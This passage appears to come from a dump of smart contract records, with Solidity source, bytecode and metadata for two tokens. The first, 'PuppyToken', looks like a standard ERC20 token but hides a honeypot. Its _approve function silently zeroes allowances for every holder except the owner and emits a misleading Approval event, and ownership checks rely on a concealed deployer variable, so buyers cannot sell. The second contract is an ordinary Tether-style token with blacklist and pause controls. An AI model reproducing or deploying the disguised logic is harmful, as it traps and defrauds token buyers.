// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract PuppyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = ' Puppy Token ';
string private _symbol = 'Puppy ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ec195432343fcc9391880b855844bc094e5ac538b3f6a4856b4dd4d3d090930764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,271 |
0xA0B8eFCE9eE02a4f62aF27D5eeA63040fad35DEC
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(msg.sender, owner, fee);
}
emit Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
uint _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(_from, owner, fee);
}
emit Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Full) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract FullTokenContract is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
constructor(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
emit Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
emit Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
emit Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
emit Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461019a5780630753c30c14610224578063095ea7b3146102475780630e136b191461026b5780630ecb93c01461029457806318160ddd146102b557806323b872dd146102dc57806326976e3f1461030657806327e235e314610337578063313ce56714610358578063353907141461036d5780633eaaf86b146103825780633f4ba83a1461039757806359bf1abe146103ac5780635c658165146103cd5780635c975abb146103f457806370a08231146104095780638456cb591461042a578063893d20e81461043f5780638da5cb5b1461045457806395d89b4114610469578063a9059cbb1461047e578063c0324c77146104a2578063cc872b66146104bd578063db006a75146104d5578063dd62ed3e146104ed578063dd644f7214610514578063e47d606014610529578063e4997dc51461054a578063e5b5019a1461056b578063f2fde38b14610580578063f3bdc228146105a1575b600080fd5b3480156101a657600080fd5b506101af6105c2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e95781810151838201526020016101d1565b50505050905090810190601f1680156102165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023057600080fd5b50610245600160a060020a0360043516610650565b005b34801561025357600080fd5b50610245600160a060020a03600435166024356106e8565b34801561027757600080fd5b506102806107aa565b604080519115158252519081900360200190f35b3480156102a057600080fd5b50610245600160a060020a03600435166107ba565b3480156102c157600080fd5b506102ca61082c565b60408051918252519081900360200190f35b3480156102e857600080fd5b50610245600160a060020a03600435811690602435166044356108e8565b34801561031257600080fd5b5061031b6109be565b60408051600160a060020a039092168252519081900360200190f35b34801561034357600080fd5b506102ca600160a060020a03600435166109cd565b34801561036457600080fd5b506102ca6109df565b34801561037957600080fd5b506102ca6109e5565b34801561038e57600080fd5b506102ca6109eb565b3480156103a357600080fd5b506102456109f1565b3480156103b857600080fd5b50610280600160a060020a0360043516610a67565b3480156103d957600080fd5b506102ca600160a060020a0360043581169060243516610a89565b34801561040057600080fd5b50610280610aa6565b34801561041557600080fd5b506102ca600160a060020a0360043516610ab6565b34801561043657600080fd5b50610245610b76565b34801561044b57600080fd5b5061031b610bf1565b34801561046057600080fd5b5061031b610c00565b34801561047557600080fd5b506101af610c0f565b34801561048a57600080fd5b50610245600160a060020a0360043516602435610c6a565b3480156104ae57600080fd5b50610245600435602435610d4f565b3480156104c957600080fd5b50610245600435610de4565b3480156104e157600080fd5b50610245600435610e8f565b3480156104f957600080fd5b506102ca600160a060020a0360043581169060243516610f3a565b34801561052057600080fd5b506102ca611005565b34801561053557600080fd5b50610280600160a060020a036004351661100b565b34801561055657600080fd5b50610245600160a060020a0360043516611020565b34801561057757600080fd5b506102ca61108f565b34801561058c57600080fd5b50610245600160a060020a0360043516611095565b3480156105ad57600080fd5b50610245600160a060020a03600435166110e7565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106485780601f1061061d57610100808354040283529160200191610648565b820191906000526020600020905b81548152906001019060200180831161062b57829003601f168201915b505050505081565b600054600160a060020a0316331461066757600080fd5b600a805460a060020a74ff0000000000000000000000000000000000000000199091161773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831690811790915560408051918252517fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e916020908290030190a150565b604060443610156106f857600080fd5b600a5460a060020a900460ff161561079b57600a54604080517faee92d33000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038681166024830152604482018690529151919092169163aee92d3391606480830192600092919082900301818387803b15801561077e57600080fd5b505af1158015610792573d6000803e3d6000fd5b505050506107a5565b6107a58383611193565b505050565b600a5460a060020a900460ff1681565b600054600160a060020a031633146107d157600080fd5b600160a060020a038116600081815260066020908152604091829020805460ff19166001179055815192835290517f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc9281900390910190a150565b600a5460009060a060020a900460ff16156108e057600a60009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156108ad57600080fd5b505af11580156108c1573d6000803e3d6000fd5b505050506040513d60208110156108d757600080fd5b505190506108e5565b506001545b90565b60005460a060020a900460ff16156108ff57600080fd5b600160a060020a03831660009081526006602052604090205460ff161561092557600080fd5b600a5460a060020a900460ff16156109b357600a54604080517f8b477adb000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a03868116602483015285811660448301526064820185905291519190921691638b477adb91608480830192600092919082900301818387803b15801561077e57600080fd5b6107a5838383611241565b600a54600160a060020a031681565b60026020526000908152604090205481565b60095481565b60045481565b60015481565b600054600160a060020a03163314610a0857600080fd5b60005460a060020a900460ff161515610a2057600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b600160a060020a03811660009081526006602052604090205460ff165b919050565b600560209081526000928352604080842090915290825290205481565b60005460a060020a900460ff1681565b600a5460009060a060020a900460ff1615610b6657600a54604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152915191909216916370a082319160248083019260209291908290030181600087803b158015610b3357600080fd5b505af1158015610b47573d6000803e3d6000fd5b505050506040513d6020811015610b5d57600080fd5b50519050610a84565b610b6f8261143d565b9050610a84565b600054600160a060020a03163314610b8d57600080fd5b60005460a060020a900460ff1615610ba457600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031690565b600054600160a060020a031681565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106485780601f1061061d57610100808354040283529160200191610648565b60005460a060020a900460ff1615610c8157600080fd5b3360009081526006602052604090205460ff1615610c9e57600080fd5b600a5460a060020a900460ff1615610d4157600a54604080517f6e18980a000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a0385811660248301526044820185905291519190921691636e18980a91606480830192600092919082900301818387803b158015610d2457600080fd5b505af1158015610d38573d6000803e3d6000fd5b50505050610d4b565b610d4b8282611458565b5050565b600054600160a060020a03163314610d6657600080fd5b60148210610d7357600080fd5b60328110610d8057600080fd5b6003829055600954610d9c908290600a0a63ffffffff6115c516565b600481905560035460408051918252602082019290925281517fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e929181900390910190a15050565b600054600160a060020a03163314610dfb57600080fd5b60015481810111610e0b57600080fd5b60008054600160a060020a031681526002602052604090205481810111610e3157600080fd5b60008054600160a060020a03168152600260209081526040918290208054840190556001805484019055815183815291517fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9281900390910190a150565b600054600160a060020a03163314610ea657600080fd5b600154811115610eb557600080fd5b60008054600160a060020a0316815260026020526040902054811115610eda57600080fd5b60018054829003905560008054600160a060020a031681526002602090815260409182902080548490039055815183815291517f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a449281900390910190a150565b600a5460009060a060020a900460ff1615610ff257600a54604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015285811660248301529151919092169163dd62ed3e9160448083019260209291908290030181600087803b158015610fbf57600080fd5b505af1158015610fd3573d6000803e3d6000fd5b505050506040513d6020811015610fe957600080fd5b50519050610fff565b610ffc83836115fb565b90505b92915050565b60035481565b60066020526000908152604090205460ff1681565b600054600160a060020a0316331461103757600080fd5b600160a060020a038116600081815260066020908152604091829020805460ff19169055815192835290517fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c9281900390910190a150565b60001981565b600054600160a060020a031633146110ac57600080fd5b600160a060020a038116156110e4576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60008054600160a060020a031633146110ff57600080fd5b600160a060020a03821660009081526006602052604090205460ff16151561112657600080fd5b61112f82610ab6565b600160a060020a0383166000818152600260209081526040808320929092556001805485900390558151928352820183905280519293507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c692918290030190a15050565b604060443610156111a357600080fd5b81158015906111d45750336000908152600560209081526040808320600160a060020a038716845290915290205415155b156111de57600080fd5b336000818152600560209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3505050565b600080806060606436101561125557600080fd5b600160a060020a03871660009081526005602090815260408083203384529091529020546003549094506112a4906127109061129890889063ffffffff6115c516565b9063ffffffff61162616565b92506004548311156112b65760045492505b6000198410156112f5576112d0848663ffffffff61163d16565b600160a060020a03881660009081526005602090815260408083203384529091529020555b611305858463ffffffff61163d16565b600160a060020a038816600090815260026020526040902054909250611331908663ffffffff61163d16565b600160a060020a038089166000908152600260205260408082209390935590881681522054611366908363ffffffff61164f16565b600160a060020a0387166000908152600260205260408120919091558311156113fb5760008054600160a060020a03168152600260205260409020546113b2908463ffffffff61164f16565b60008054600160